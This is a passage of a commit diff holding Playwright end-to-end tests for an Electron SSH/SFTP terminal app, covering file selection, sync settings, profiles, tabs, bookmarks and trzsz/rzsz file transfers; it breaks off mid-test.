it.setTimeout(1000000)
const delay = require('./common/wait')
const log = require('./common/log')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const { expect } = require('./common/expect')
const {
setupSftpConnection,
createFolder,
createFile,
deleteItem,
enterFolder,
navigateToParentFolder,
selectItemsWithCtrlOrCmd,
closeApp
} = require('./common/common')
describe('multi-file selection operations', function () {
it('should properly handle single and multi-file selection with modifier keys', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
log('019.file-select.spec.js: app launched')
// Set up SFTP connection
await setupSftpConnection(client)
log('019.file-select.spec.js: sftp connected')
// Test both local and remote file systems
await testMultiFileSelection(client, 'local')
log('019.file-select.spec.js: local selection tested')
await testMultiFileSelection(client, 'remote')
log('019.file-select.spec.js: remote selection tested')
await closeApp(electronApp, __filename)
log('019.file-select.spec.js: app closed')
})
})
async function testMultiFileSelection (client, type) {
// Create a parent test folder
const testFolderName = `selection-test-folder-${Date.now()}`
await createFolder(client, type, testFolderName)
// Enter the test folder
await enterFolder(client, type, testFolderName)
await delay(2000)
// Create multiple files and folders for testing selection
const itemNames = [
`file-1-${Date.now()}.txt`,
`file-2-${Date.now()}.txt`,
`file-3-${Date.now()}.txt`,
`folder-1-${Date.now()}`,
`folder-2-${Date.now()}`
]
// Create the test items
for (let i = 0; i < 3; i++) {
await createFile(client, type, itemNames[i])
}
for (let i = 3; i < 5; i++) {
await createFolder(client, type, itemNames[i])
}
// Test 1: Single click selection
await client.click(`.session-current .file-list.${type} .sftp-item[title="${itemNames[0]}"]`)
await delay(500)
// Verify only one item is selected
const fileItems = await client.locator(`.session-current .file-list.${type} .real-file-item`)
let selectedCount = await countSelectedItems(client, fileItems)
expect(selectedCount).toBe(1)
// Verify the correct item is selected
const firstItemSelected = await client.locator(`.session-current .file-list.${type} .sftp-item[title="${itemNames[0]}"]`)
const hasSelectedClass = await firstItemSelected.evaluate(el => el.classList.contains('selected'))
expect(hasSelectedClass).toBe(true)
// Test 2: Click another item should deselect the first
await client.click(`.session-current .file-list.${type} .sftp-item[title="${itemNames[1]}"]`)
await delay(500)
// Verify only the second item is selected now
selectedCount = await countSelectedItems(client, fileItems)
expect(selectedCount).toBe(1)
const secondItemSelected = await client.locator(`.session-current .file-list.${type} .sftp-item[title="${itemNames[1]}"]`)
const secondHasSelectedClass = await secondItemSelected.evaluate(el => el.classList.contains('selected'))
expect(secondHasSelectedClass).toBe(true)
// Verify first item is no longer selected
const firstItemStillSelected = await firstItemSelected.evaluate(el => el.classList.contains('selected'))
expect(firstItemStillSelected).toBe(false)
// Test 3: Ctrl/Cmd+click for multi-selection
// Select items at index 0, 2, and 4 (first file, third file, and second folder)
await selectItemsWithCtrlOrCmd(client, type, [0, 2, 4])
await delay(1000)
// Verify exactly three items are selected
selectedCount = await countSelectedItems(client, fileItems)
expect(selectedCount).toBe(3)
// Verify the specific items are selected
const itemsToCheck = [itemNames[0], itemNames[2], itemNames[4]]
for (const itemName of itemsToCheck) {
const item = await client.locator(`.session-current .file-list.${type} .sftp-item[title="${itemName}"]`)
const isSelected = await item.evaluate(el => el.classList.contains('selected'))
expect(isSelected).toBe(true)
}
// Test 4: Single click again should deselect all and select only one
await client.click(`.session-current .file-list.${type} .sftp-item[title="${itemNames[3]}"]`)
await delay(500)
// Verify only one item is selected
selectedCount = await countSelectedItems(client, fileItems)
expect(selectedCount).toBe(1)
// Verify the fourth item (folder-1) is selected
const fourthItemSelected = await client.locator(`.session-current .file-list.${type} .sftp-item[title="${itemNames[3]}"]`)
const fourthHasSelectedClass = await fourthItemSelected.evaluate(el => el.classList.contains('selected'))
expect(fourthHasSelectedClass).toBe(true)
// Navigate back to parent folder
await navigateToParentFolder(client, type)
await delay(1500)
// Clean up by deleting the test folder
await deleteItem(client, type, testFolderName)
await delay(2000)
}
async function countSelectedItems (client, fileItems) {
const count = await fileItems.count()
let selectedCount = 0
for (let i = 0; i < count; i++) {
const hasSelectedClass = await fileItems.nth(i).evaluate(el => el.classList.contains('selected'))
if (hasSelectedClass) {
selectedCount++
}
}
return selectedCount
}
+140
View File
@@ -0,0 +1,140 @@
const { _electron: electron } = require('@playwright/test')
require('dotenv').config()
const {
test: it
} = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
const delay = require('./common/wait')
const log = require('./common/log')
const { expect } = require('./common/expect')
const appOptions = require('./common/app-options')
const e = require('./common/lang')
const extendClient = require('./common/client-extend')
const { closeApp } = require('./common/common')
const {
GIST_ID,
GIST_TOKEN,
GITEE_TOKEN,
GITEE_ID,
CUSTOM_SYNC_URL,
CUSTOM_SYNC_USER,
CUSTOM_SYNC_SECRET,
CLOUD_TOKEN
} = process.env
describe('data sync', function () {
it('should open sync page', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
async function checkNoError () {
const hasError = await client.elemExist('.common-err-desc')
expect(hasError).equal(false)
}
log('button:open sync')
await client.click('.btns .anticon-cloud-sync')
await delay(500)
const sel = '.setting-wrap .ant-tabs-nav-list .ant-tabs-tab-active'
await client.hasElem(sel)
await delay(500)
const text = await client.getText(sel)
expect(text.toLowerCase()).equal(e('setting').toLowerCase())
// create theme
log('save github token / id')
await client.setValue('#sync-input-token-github', GIST_TOKEN)
await client.setValue('#sync-input-gistId-github', GIST_ID)
await delay(1000)
await client.click('.setting-wrap .sync-btn-save')
await delay(5000)
await client.click('.setting-wrap .sync-btn-down')
await delay(5000)
const bks = await client.evaluate(() => {
return window.store.bookmarks
})
expect(bks.length > 3).equal(true)
await checkNoError()
log('save gitee token / id')
await client.click('.setting-wrap [id*="tab-gitee"]')
await client.evaluate(() => {
return window.store.setBookmarks([])
})
await delay(3000)
await client.setValue('#sync-input-token-gitee', GITEE_TOKEN)
await client.setValue('#sync-input-gistId-gitee', GITEE_ID)
await delay(1000)
await client.click('.setting-wrap .sync-btn-save:visible')
await delay(6000)
await client.click('.setting-wrap .sync-btn-down:visible')
await delay(6000)
const bks1 = await client.evaluate(() => {
return window.store.bookmarks
})
expect(bks1.length > 3).equal(true)
await checkNoError()
log('save custom props')
await client.click('.setting-wrap [id*="tab-custom"]')
await client.evaluate(() => {
return window.store.setBookmarks([])
})
await delay(3000)
await client.setValue('#sync-input-url-custom', CUSTOM_SYNC_URL)
await client.setValue('#sync-input-token-custom', CUSTOM_SYNC_SECRET)
await client.setValue('#sync-input-gistId-custom', CUSTOM_SYNC_USER)
await delay(1000)
await client.click('.setting-wrap .sync-btn-save:visible')
await delay(6000)
await client.click('.setting-wrap .sync-btn-down:visible')
await delay(6000)
const bks3 = await client.evaluate(() => {
return window.store.bookmarks
})
expect(bks3.length > 3).equal(true)
await checkNoError()
log('018.sync.spec.js: save cloud props')
await client.click('.setting-wrap [id*="tab-cloud"]')
log('018.sync.spec.js: cloud tab clicked')
await delay(3000)
await client.setValue('#sync-input-token-cloud', CLOUD_TOKEN)
log('018.sync.spec.js: cloud token set')
await delay(1000)
await client.click('.setting-wrap .sync-btn-save:visible')
log('018.sync.spec.js: cloud save clicked')
await delay(6000)
await client.click('.setting-wrap .sync-btn-up:visible')
log('018.sync.spec.js: cloud up clicked')
await delay(6000)
await client.evaluate(() => {
return window.store.setBookmarks([])
})
log('018.sync.spec.js: bookmarks cleared')
await client.click('.setting-wrap .sync-btn-down:visible')
log('018.sync.spec.js: cloud down clicked')
await delay(6000)
const bks4 = await client.evaluate(() => {
return window.store.bookmarks
})
expect(bks4.length > 3).equal(true)
log('018.sync.spec.js: cloud sync verified')
await delay(1000)
log('018.sync.spec.js: calling close')
await closeApp(electronApp, __filename)
log('018.sync.spec.js: app closed')
})
})
+61
View File
@@ -0,0 +1,61 @@
/**
* quick commands test
* need TEST_HOST TEST_PASS TEST_USER env set
*/
const { _electron: electron } = require('@playwright/test')
const {
test: it
} = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
const { expect } = require('./common/expect')
const delay = require('./common/wait')
const log = require('./common/log')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const { closeApp } = require('./common/common')
describe('profile', function () {
it('quick commands form', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
log('0103.profile.spec.js: open setting')
await delay(2000)
await client.click('.btns .anticon-setting')
await delay(2500)
log('0103.profile.spec.js: setting opened')
log('0103.profile.spec.js: click profiles')
await client.click('.setting-tabs [role="tab"]', 4)
log('0103.profile.spec.js: profiles tab clicked')
// await client.click('.setting-tabs [role="tab"]', 4)
await client.setValue(
'.setting-tabs-profile input#name',
'profile1'
)
log('0103.profile.spec.js: name set')
await client.setValue(
'.setting-tabs-profile input#password',
'zxd'
)
log('0103.profile.spec.js: password set')
const qmlist1 = await client.countElem('.setting-tabs-profile .item-list-unit')
await delay(150)
await client.click('.setting-tabs-profile .ant-btn-primary')
log('0103.profile.spec.js: save button clicked')
await delay(2550)
const qmlist2 = await client.countElem('.setting-tabs-profile .item-list-unit')
expect(qmlist2).equal(qmlist1 + 1)
log('0103.profile.spec.js: profile added')
await delay(1150)
const c1 = await client.evaluate(() => {
return window.store.profiles.length
})
expect(qmlist1).equal(c1)
log('0103.profile.spec.js: profile count verified')
await closeApp(electronApp, __filename)
log('0103.profile.spec.js: app closed')
})
})
+104
View File
@@ -0,0 +1,104 @@
/**
* ssh profile login test
*/
const { _electron: electron } = require('@playwright/test')
const {
test: it
} = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
const { expect } = require('./common/expect')
const delay = require('./common/wait')
const log = require('./common/log')
const {
TEST_PASS,
TEST_USER
} = require('./common/env')
const uid = require('./common/uid')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const {
closeApp,
setupSshConnection
} = require('./common/common')
const { basicTerminalTest } = require('./common/basic-terminal-test')
describe('ssh profile login', function () {
it('should create profile and login using it', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
// First create an SSH connection to get proper tab data
await setupSshConnection(client, {
waitAfterConnect: 5500
})
log('0104.profile-use.spec.js: ssh form submitted')
log('0104.profile-use.spec.js: ssh connected')
// Get the SSH tab data
const sshTab = await client.evaluate(() => {
return window.store.tabs[window.store.tabs.length - 1]
})
log('0104.profile-use.spec.js: ssh tab data retrieved')
// Create profile
await client.click('.btns .anticon-setting')
log('0104.profile-use.spec.js: setting opened')
await delay(2500)
await client.click('.setting-tabs [role="tab"]', 4)
log('0104.profile-use.spec.js: profiles tab clicked')
await delay(500)
const profileName = 'Test-Profile-' + uid()
await client.setValue('.setting-tabs-profile input#name', profileName)
log('0104.profile-use.spec.js: profile name set')
await client.setValue('.setting-tabs-profile input#password', TEST_PASS)
await client.setValue('.setting-tabs-profile input#username', TEST_USER)
await delay(150)
const profileCountPrev = await client.evaluate(() => {
return window.store.profiles.length
})
await client.click('.setting-tabs-profile .ant-btn-primary')
log('0104.profile-use.spec.js: profile save clicked')
await delay(2550)
// Verify profile was created
const profileCount = await client.evaluate(() => {
return window.store.profiles.length
})
expect(profileCount).equal(profileCountPrev + 1)
log('0104.profile-use.spec.js: profile created')
// Get profile ID and create tab with it
await client.evaluate((data) => {
window.store.showModal = 0
})
await client.evaluate((data) => {
const profile = window.store.profiles.find(p => p.name === data.name)
const nt = {
...data.tab,
id: 'sdfdsf',
pid: '',
profile: profile.id
}
nt.authType = 'profiles'
delete nt.password
window.store.addTab(nt)
}, {
name: profileName,
tab: sshTab
})
log('0104.profile-use.spec.js: tab with profile added')
await delay(5500)
// Verify connection works
await basicTerminalTest(client, 'ls')
log('0104.profile-use.spec.js: basic terminal test done')
await closeApp(electronApp, __filename)
log('0104.profile-use.spec.js: app closed')
})
})
@@ -0,0 +1,39 @@
const { _electron: electron } = require('@playwright/test')
const {
test: it
} = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
const delay = require('./common/wait')
const { expect } = require('./common/expect')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
describe('symbolic links support', function () {
it('symbolic links support works', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(4500)
const tmp = 'tmp-' + (+new Date())
const cmd = `cd ~ && mkdir ${tmp} && cd ${tmp} && touch x.js && mkdir xx && ln -s x.js xk && ln -s xx xxk`
await client.keyboard.type(cmd)
await client.keyboard.press('Enter')
await delay(1900)
await client.click('.session-current .term-sftp-tabs .fileManager')
await delay(300)
await client.click('.session-current .anticon-reload')
await delay(2500)
await client.doubleClick('.session-current .file-list.local .real-file-item')
await delay(5000)
const localFileList = await client.countElem('.session-current .file-list.local .sftp-item')
expect(localFileList >= 5).equal(true)
await client.click('.session-current .term-sftp-tabs .terminal')
await delay(500)
const cmd1 = `cd ~ && rm -rf ${tmp}`
await client.keyboard.type(cmd1)
await client.keyboard.press('Enter')
await electronApp.close().catch(console.log)
})
})
+79
View File
@@ -0,0 +1,79 @@
const { _electron: electron } = require('@playwright/test')
const {
test: it,
expect
} = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
const delay = require('./common/wait')
const log = require('./common/log')
const appOptions = require('./common/app-options')
const e = require('./common/lang')
const extendClient = require('./common/client-extend')
describe('init setting buttons', function () {
it('all buttons open proper setting tab', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
// await client.waitUntilWindowLoaded()
await delay(3500)
log('close current tab')
await client.hover('.tabs .tab')
await client.click('.tabs .tab .tab-close')
await delay(1000)
log('verify tab count')
const tabCount = await client.countElem('.tabs .tab')
expect(tabCount).toEqual(0)
log('button:edit')
await client.click('.btns .anticon-plus-circle')
await delay(3500)
const sel = '.setting-wrap .ant-tabs-nav-list .ant-tabs-tab-active'
const active = await client.element(sel)
expect(active).toBeVisible()
const text = await client.getText(sel)
expect(text).toEqual(e('bookmarks'))
log('close')
await client.click('.setting-wrap .close-setting-wrap')
await delay(900)
log('open setting')
await client.click('.btns .anticon-setting')
await delay(2500)
const active1 = await client.element(sel)
expect(active1).toBeVisible()
const text1 = await client.getText(sel)
expect(text1).toEqual(e('setting'))
log('close')
await client.click('.setting-wrap .close-setting-wrap')
await delay(900)
log('button:new ssh')
await client.click('.btns .anticon-plus-circle')
await delay(1000)
const active2 = await client.element(sel)
expect(active2).toBeVisible()
const text2 = await client.getText(sel)
expect(text2).toEqual(e('bookmarks'))
// log('tab it')
// await client.click('.setting-wrap .ant-tabs-tab:nth-child(3)')
// await delay(3100)
// const text4 = await client.getText(sel)
// expect(text4).toEqual(e('setting'))
await client.click('.setting-wrap .close-setting-wrap')
await delay(600)
log('button:edit again')
await client.click('.btns .anticon-plus-circle')
await delay(600)
const text5 = await client.getText(sel)
expect(text5).toEqual(e('bookmarks'))
await electronApp.close().catch(console.log)
})
})
+38
View File
@@ -0,0 +1,38 @@
const { _electron: electron } = require('@playwright/test')
const {
test: it
} = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
const delay = require('./common/wait')
const { expect } = require('./common/expect')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const log = require('./common/log')
describe('tabs', function () {
it('double click to duplicate tab button works', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(4500)
const tabsLenBefore = await client.countElem('.tabs .tab')
const wrapsBefore = await client.countElem('.sessions > div')
log('double click tab')
await client.doubleClick('.tab')
await delay(1500)
const tabs0 = await client.countElem('.tabs .tab')
expect(tabs0).equal(tabsLenBefore + 1)
const wraps = await client.countElem('.sessions > div')
expect(wraps).equal(wrapsBefore + 1)
await delay(500)
log('click add tab icon')
await client.click('.tabs .tabs-add-btn')
await delay(500)
await client.click('.add-menu-wrap .context-item:has-text("New tab")')
await client.click('.tabs .tabs-add-btn')
const tabs1 = await client.countElem('.tabs .tab')
expect(tabs1).equal(tabsLenBefore + 2)
await electronApp.close().catch(console.log)
})
})
@@ -0,0 +1,93 @@
/*
* Test tab reload context menu
* Need TEST_HOST, TEST_PASS, TEST_USER env set
*/
const { _electron: electron } = require('@playwright/test')
const { test: it } = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
const { expect } = require('./common/expect')
const delay = require('./common/wait')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
describe('tab reload', function () {
it('should replace active tab and update activeTabId', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(4500)
// Create 2 tabs
await client.click('.tabs-add-btn')
await delay(500)
await client.click('.add-menu-wrap .context-item:has-text("New tab")')
await client.click('.tabs .tabs-add-btn')
await delay(2000)
// Get initial state
const initialTabs = await client.evaluate(() => ({
tabs: window.store.tabs,
activeId: window.store.activeTabId
}))
// Reload active tab
await client.rightClick(`.tabs .tab[data-id="${initialTabs.activeId}"]`, 30, 20)
await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .ant-dropdown-menu-item:has-text("Reload")')
await delay(2000)
// Verify replacement
const afterReload = await client.evaluate(() => ({
tabs: window.store.tabs,
activeId: window.store.activeTabId
}))
expect(afterReload.tabs.length).equal(initialTabs.tabs.length)
expect(initialTabs.tabs.some(t => t.id === afterReload.activeId)).equal(false)
expect(afterReload.activeId !== initialTabs.activeId).equal(true)
expect(afterReload.activeId === afterReload.tabs[1].id).equal(true)
await electronApp.close()
})
it('should keep activeTabId when reloading inactive tab', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(4500)
// Create 2 tabs
await client.click('.tabs-add-btn')
await delay(500)
await client.click('.add-menu-wrap .context-item:has-text("New tab")')
await client.click('.tabs .tabs-add-btn')
await delay(2000)
// Switch to first tab and get inactive tab ID
await client.click('.tabs .tab:first-child')
await delay(1000)
const { tabs, activeId } = await client.evaluate(() => ({
tabs: window.store.tabs,
activeId: window.store.activeTabId
}))
const inactiveTab = tabs.find(t => t.id !== activeId)
// Reload inactive tab
await client.rightClick(`.tabs .tab[data-id="${inactiveTab.id}"]`, 30, 20)
await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .ant-dropdown-menu-item:has-text("Reload")')
await delay(2000)
// Verify state
const afterReload = await client.evaluate(() => ({
tabs: window.store.tabs,
activeId: window.store.activeTabId
}))
expect(afterReload.tabs.length).equal(tabs.length)
expect(afterReload.activeId).equal(activeId)
expect(afterReload.tabs.some(t => t.id === inactiveTab.id)).equal(false)
await electronApp.close()
})
})
+213
View File
@@ -0,0 +1,213 @@
/**
* basic ssh test
* need TEST_HOST TEST_PASS TEST_USER env set
*/
const { _electron: electron } = require('@playwright/test')
const {
test: it
} = require('@playwright/test')
const { describe } = it
it.setTimeout(100000)
const { expect } = require('./common/expect')
const delay = require('./common/wait')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
describe('ssh', function () {
it('should open window and basic ssh ls command works', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(4500)
await client.rightClick('.tabs .tab', 30, 20)
await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .anticon-copy')
await delay(2500)
const tabsCount = await client.evaluate(() => {
return window.store.tabs.length
})
expect(tabsCount).equal(2)
// Test clone to next layout
const initialLayout = await client.evaluate(() => {
return window.store.layout
})
await client.rightClick('.tabs .tab', 30, 20)
await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .ant-dropdown-menu-item:has-text("Clone to Next Layout")') // Click clone to next layout option
await delay(2000)
// Verify new layout and tab count
const newLayout = await client.evaluate(() => {
return window.store.layout
})
expect(newLayout === initialLayout).equal(false) // Layout should have changed
const newTabsCount = await client.evaluate(() => {
return window.store.tabs.length
})
expect(newTabsCount).equal(3) // Original + duplicated + cloned tab
// Restore original layout
await client.evaluate((originalLayout) => {
window.store.setLayout(originalLayout)
}, initialLayout)
await delay(1000)
// Verify layout was restored
const finalLayout = await client.evaluate(() => {
return window.store.layout
})
expect(finalLayout).equal(initialLayout)
await client.rightClick('.tabs .tab', 30, 20)
await delay(500)
await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .ant-dropdown-menu-item:has-text("New tab")')
await delay(2000)
// Verify a new tab was created and is the last tab and active
const tabsInfo = await client.evaluate(() => {
const tabs = window.store.tabs
return {
totalCount: tabs.length,
lastTabId: tabs[tabs.length - 1].id,
activeTabId: window.store.activeTabId
}
})
expect(tabsInfo.totalCount).equal(4)
expect(tabsInfo.lastTabId).equal(tabsInfo.activeTabId)
await client.rightClick('.tabs .tab', 30, 20)
await delay(500)
await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .ant-dropdown-menu-item:has-text("Close other tabs")')
await delay(2000)
// Verify only one tab remains and it's the active tab
const tabsInfoAfterClose = await client.evaluate(() => {
const tabs = window.store.tabs
return {
totalCount: tabs.length,
remainingTabId: tabs[0].id,
activeTabId: window.store.activeTabId
}
})
expect(tabsInfoAfterClose.totalCount).equal(1)
expect(tabsInfoAfterClose.remainingTabId).equal(tabsInfoAfterClose.activeTabId)
// close tab context menu
// Create two more tabs for testing
await client.click('.tabs-add-btn')
await delay(500)
await client.click('.add-menu-wrap .context-item:has-text("New tab")')
await client.click('.add-menu-wrap .context-item:has-text("New tab")')
await client.click('.tabs .tabs-add-btn')
await delay(1000)
// Test closing a non-active tab
const tabsBeforeClose = await client.evaluate(() => {
return {
count: window.store.tabs.length,
activeTabId: window.store.activeTabId,
secondTabId: window.store.tabs[1].id
}
})
await client.rightClick(`.tabs .tab[data-id="${tabsBeforeClose.secondTabId}"]`, 30, 20)
await delay(500)
await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .ant-dropdown-menu-item:has-text("Close")')
await delay(1000)
const tabsAfterNonActiveClose = await client.evaluate(() => {
return {
count: window.store.tabs.length,
activeTabId: window.store.activeTabId
}
})
expect(tabsAfterNonActiveClose.count).equal(tabsBeforeClose.count - 1)
expect(tabsAfterNonActiveClose.activeTabId).equal(tabsBeforeClose.activeTabId)
// Test closing the active tab
const activeTabInfo = await client.evaluate(() => {
return {
activeTabId: window.store.activeTabId,
nextTabId: window.store.tabs[0].id
}
})
await client.rightClick(`.tabs .tab[data-id="${activeTabInfo.activeTabId}"]`, 30, 20)
await delay(500)
await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .ant-dropdown-menu-item:has-text("Close")')
await delay(1000)
const tabsAfterActiveClose = await client.evaluate(() => {
return {
count: window.store.tabs.length,
activeTabId: window.store.activeTabId
}
})
expect(tabsAfterActiveClose.count).equal(tabsAfterNonActiveClose.count - 1)
expect(tabsAfterActiveClose.activeTabId).equal(activeTabInfo.nextTabId)
// Test rename tab from context menu
// Create a new tab for rename testing
await client.click('.tabs-add-btn')
await delay(500)
await client.click('.add-menu-wrap .context-item:has-text("New tab")')
await client.click('.tabs .tabs-add-btn')
await delay(1000)
const tabInfo = await client.evaluate(() => {
return {
tabId: window.store.tabs[0].id,
originalTitle: window.store.tabs[0].title
}
})
// Test rename using Enter key
await client.rightClick(`.tabs .tab[data-id="${tabInfo.tabId}"]`, 30, 20)
await delay(500)
await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .ant-dropdown-menu-item:has-text("Rename")')
await delay(500)
const newTitle1 = 'renamed-tab-1'
await client.setValue('.tab input', newTitle1)
await client.keyboard.press('Enter')
await delay(500)
// Verify the title was changed and edit mode is off
let renamedTabInfo = await client.evaluate(() => {
const tab = window.store.tabs[0]
return {
title: tab.title,
isEditing: !!tab.isEditting
}
})
expect(renamedTabInfo.title).equal(newTitle1)
expect(renamedTabInfo.isEditing).equal(false)
// Test rename by clicking outside
await client.rightClick(`.tabs .tab[data-id="${tabInfo.tabId}"]`, 30, 20)
await delay(500)
await client.click('.ant-dropdown:not(.ant-dropdown-hidden) .ant-dropdown-menu-item:has-text("Rename")')
await delay(500)
const newTitle2 = 'renamed-tab-2'
await client.setValue('.tab input', newTitle2)
await client.click('.tabs-add-btn') // Click outside to blur
await delay(1200)
// Verify the title was changed and edit mode is off
renamedTabInfo = await client.evaluate(() => {
const tab = window.store.tabs[0]
return {
title: tab.title,
isEditing: !!tab.isEditting
}
})
expect(renamedTabInfo.title).equal(newTitle2)
expect(renamedTabInfo.isEditing).equal(false)
await electronApp.close().catch(console.log)
})
})
+59
View File
@@ -0,0 +1,59 @@
const { _electron: electron } = require('@playwright/test')
const { test: it, expect } = require('@playwright/test')
const { describe } = it
const delay = require('./common/wait')
const { nanoid } = require('nanoid')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
describe('Local bookmark', function () {
it('should create a local bookmark and verify history', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
// Get initial history count
const initialHistoryCount = await client.evaluate(() => {
return window.store.history.length
})
// Open bookmark form
await client.click('.btns .anticon-plus-circle')
await delay(500)
// Select local bookmark type
await client.click('.setting-wrap .ant-radio-button-wrapper', 3)
await delay(500)
// Generate a unique title for the bookmark
const bookmarkTitle = `Local-${nanoid()}`
const type = 'local'
// Fill in bookmark details
await client.setValue('.setting-wrap input[id="local-form_title"]', bookmarkTitle)
await client.setValue('.setting-wrap textarea[id="local-form_runScripts_0_script"]', 'ls')
// Save and connect
await client.click('.setting-wrap .ant-btn-primary')
await delay(2000)
// Verify that the history has been updated
const historyItem = await client.evaluate(() => {
const history = window.store.history
return history[0]
})
expect(historyItem.tab.title).toEqual(bookmarkTitle)
expect(historyItem.tab.type).toEqual(type)
// Verify history count has increased
const newHistoryCount = await client.evaluate(() => {
return window.store.history.length
})
expect(newHistoryCount).toEqual(initialHistoryCount + 1)
await electronApp.close().catch(console.log)
})
})
+197
View File
@@ -0,0 +1,197 @@
/**
* trzsz / rzsz file-transfer test
*
* Tests all four transfer commands in a single SSH session:
* • trz trzsz upload (local → remote)
* • tsz trzsz download (remote → local)
* • rz rzsz upload (local → remote)
* • sz rzsz download (remote → local)
*
* Prerequisites on the remote host:
* • trzsz package installed (provides trz / tsz)
* • lrzsz package installed (provides rz / sz )
*
* Uses window._apiControlSelectFile to bypass the native file-picker dialog.
* Uses window._apiControlSelectFolder to bypass the native folder-picker dialog.
*/
const { _electron: electron } = require('@playwright/test')
const { test: it } = require('@playwright/test')
const { describe } = it
it.setTimeout(10000000)
const os = require('os')
const fs = require('fs')
const path = require('path')
const delay = require('./common/wait')
const log = require('./common/log')
const appOptions = require('./common/app-options')
const extendClient = require('./common/client-extend')
const { expect } = require('./common/expect')
const { setupSshConnection, closeApp } = require('./common/common')
// ─── helpers ──────────────────────────────────────────────────────────────────
/** Read the last `lines` lines of the active terminal via the store API. */
async function getTerminalText (client, lines = 200) {
const result = await client.evaluate((n) => {
return window.store.mcpGetTerminalOutput({ lines: n })
}, lines)
return result ? result.output : ''
}
/**
* Count occurrences of `marker` in current terminal output.
* Used as a baseline before issuing a transfer command so we can detect
* when a *new* occurrence appears.
*/
async function countMarkerInTerminal (client, marker, lines = 200) {
const content = await getTerminalText(client, lines)
return (content.match(new RegExp(marker.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'), 'g')) || []).length
}
/**
* Poll terminal output until the count of `marker` exceeds `baseline`.
* This lets us distinguish a *new* transfer completion from text left over
* by a previous transfer.
*/
async function waitForNewMarker (client, marker, baseline, timeout = 60000) {
const start = Date.now()
while (Date.now() - start < timeout) {
const count = await countMarkerInTerminal(client, marker)
if (count > baseline) return true
await delay(1500)
}
const lastContent = await getTerminalText(client)
throw new Error(
`Timeout (${timeout}ms) waiting for new "${marker}" (baseline ${baseline})\nLast terminal content:\n${lastContent}`
)
}
/** Type a shell command and press Enter in the active terminal. */
async function runInTerminal (client, cmd) {
await client.click('.session-current .term-wrap')
await delay(400)
await client.keyboard.type(cmd)
await client.keyboard.press('Enter')
await delay(500)
}
// ─── transfer helpers ─────────────────────────────────────────────────────────
async function testTrz (client, localFile) {
log('020: testing trz (trzsz upload) …')
const baseline = await countMarkerInTerminal(client, '[DONE]')
await client.evaluate((file) => {
window._apiControlSelectFile = [file]
}, localFile)
await runInTerminal(client, 'trz')
await waitForNewMarker(client, '[DONE]', baseline, 60000)
log('020: trz done')
}
async function testTsz (client, remoteFile, saveDir) {
log('020: testing tsz (trzsz download) …')
const baseline = await countMarkerInTerminal(client, '[DONE]')
await client.evaluate((dir) => {
window._apiControlSelectFolder = dir
}, saveDir)
await runInTerminal(client, `tsz ${remoteFile}`)
await waitForNewMarker(client, '[DONE]', baseline, 60000)
// Verify at least one file arrived in the save dir
const files = fs.readdirSync(saveDir)
expect(files.length).greaterThan(0)
log('020: tsz done')
}
async function testRz (client, localFile) {
log('020: testing rz (rzsz upload) …')
const baseline = await countMarkerInTerminal(client, '[DONE]')
await client.evaluate((file) => {
window._apiControlSelectFile = [file]
}, localFile)
await runInTerminal(client, 'rz')
await waitForNewMarker(client, '[DONE]', baseline, 60000)
log('020: rz done')
}
async function testSz (client, remoteFile, saveDir) {
log('020: testing sz (rzsz download) …')
const baseline = await countMarkerInTerminal(client, '[DONE]')
await client.evaluate((dir) => {
window._apiControlSelectFolder = dir
}, saveDir)
await runInTerminal(client, `sz ${remoteFile}`)
await waitForNewMarker(client, '[DONE]', baseline, 60000)
// Verify at least one file arrived in the save dir
const files = fs.readdirSync(saveDir)
expect(files.length).greaterThan(0)
log('020: sz done')
}
// ─── test ─────────────────────────────────────────────────────────────────────
describe('trzsz-rzsz-transfer', function () {
it('should transfer files using trz / tsz / rz / sz', async function () {
const electronApp = await electron.launch(appOptions)
const client = await electronApp.firstWindow()
extendClient(client, electronApp)
await delay(3500)
log('020: app launched')
await setupSshConnection(client)
await delay(5000)
log('020: SSH connected')
const timestamp = Date.now()
